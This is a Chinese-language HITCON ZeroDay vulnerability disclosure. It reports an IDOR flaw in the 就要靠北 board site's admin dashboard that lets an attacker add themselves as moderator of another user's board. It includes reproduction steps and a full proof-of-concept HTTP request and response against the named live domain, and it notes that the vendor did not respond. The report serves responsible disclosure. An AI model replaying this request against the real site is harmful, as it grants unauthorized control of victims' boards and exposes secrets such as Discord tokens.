就要靠北™ 管理後臺IDOR - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-01068
  •  發信 Vendor: 台酷拉
  • Title: 就要靠北™ 管理後臺IDOR
  • Introduction: 使用者可以利用漏洞成為版主

處理狀態

目前狀態

公開
Last Update : 2025/10/26
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/08/26 12:11:18 : 新提交 (由 Tobydog 更新此狀態)
  • 2025/08/26 12:12:51 : 新提交 (由 Tobydog 更新此狀態)
  • 2025/08/29 14:29:55 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/03 16:21:24 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/03 16:21:25 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/10/26 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-01068
  • 通報者:tobydog0501 (Tobydog)
  • 風險:嚴重
  • 類型:不安全的直接存取物件 (Insecure Direct Object References, IDOR)

參考資料

攻擊者可經由該漏洞取得系統中的其他使用者的資料或是系統檔案。

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://cowbei.taicoolah.com

敘述

描述

編輯版主的功能沒有正確檢查頁面的擁有者。
因此,其他使用者即使並未登入,也可以執行修改動作。

重現步驟

  1. 確認某版的網址,並擷取其ID: https://cowbei.taicoolah.com/form/<某版ID>
  2. 登入攻擊者帳號,創建一個版,並嘗試新增一個版主,並攔截此請求,修改為:
    POST /dashboard/<攻擊者某版ID>/mods HTTP/2
    Host: cowbei.taicoolah.com
    OTHER_HEADERS_ARE_SKIPPED
    ["<受害者某版ID>","<攻擊者mail>","HACKER","漏洞測試",0,0]
  3. 以攻擊者mail登入即可做任意操作

POC

攻擊者: [email protected]
受害者: [email protected]
target版: 測試用靠北版
Before: 圖片

POST /dashboard/test/mods HTTP/2
Host: cowbei.taicoolah.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://cowbei.taicoolah.com/dashboard/test/mods
Next-Action: 7fa6999fd6932e53202bab7c77109c4206081be4ba
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22(sections)%22%2C%7B%22children%22%3A%5B%22dashboard%22%2C%7B%22children%22%3A%5B%5B%22item%22%2C%22test%22%2C%22d%22%5D%2C%7B%22children%22%3A%5B%22mods%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Fdashboard%2Ftest%2Fmods%22%2C%22refresh%22%5D%7D%5D%7D%5D%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain;charset=UTF-8
Content-Length: 47
Origin: https://cowbei.taicoolah.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers

["test","[email protected]","HACKER",",f",0,0]

Respond:

HTTP/2 200 OK
Date: Tue, 26 Aug 2025 04:04:12 GMT
Content-Type: text/x-component
Server: cloudflare
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
X-Action-Revalidated: [[],0,0]
X-Powered-By: Next.js
Vary: Accept-Encoding
Cf-Cache-Status: DYNAMIC
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=vZjnPxJkigmbZ3eqy0EhO2KunxZNu7PAyZa8bg6brtjyMLLfNsnrd4V1258o711ccG%2B%2FoddSzmRCAa0YrvPTYsoGgixOwszT4fcL2uJvP7gVPg%3D%3D"}]}
Cf-Ray: 9750719abbe64a18-TPE
Alt-Svc: h3=":443"; ma=86400

0:{"a":"$@1","f":"","b":"iOPcPESphwyiGJHwSlVXf"}
1:{"ok":true,"message":"版主新增成功。"}

Request pic: 圖片

After: 圖片

風險

使用者可以利用此漏洞,成為某版的版主,並檢視其後台,獲取機密資料如discord tokens

https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L

修補建議

在修改版主時檢查Cookie

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;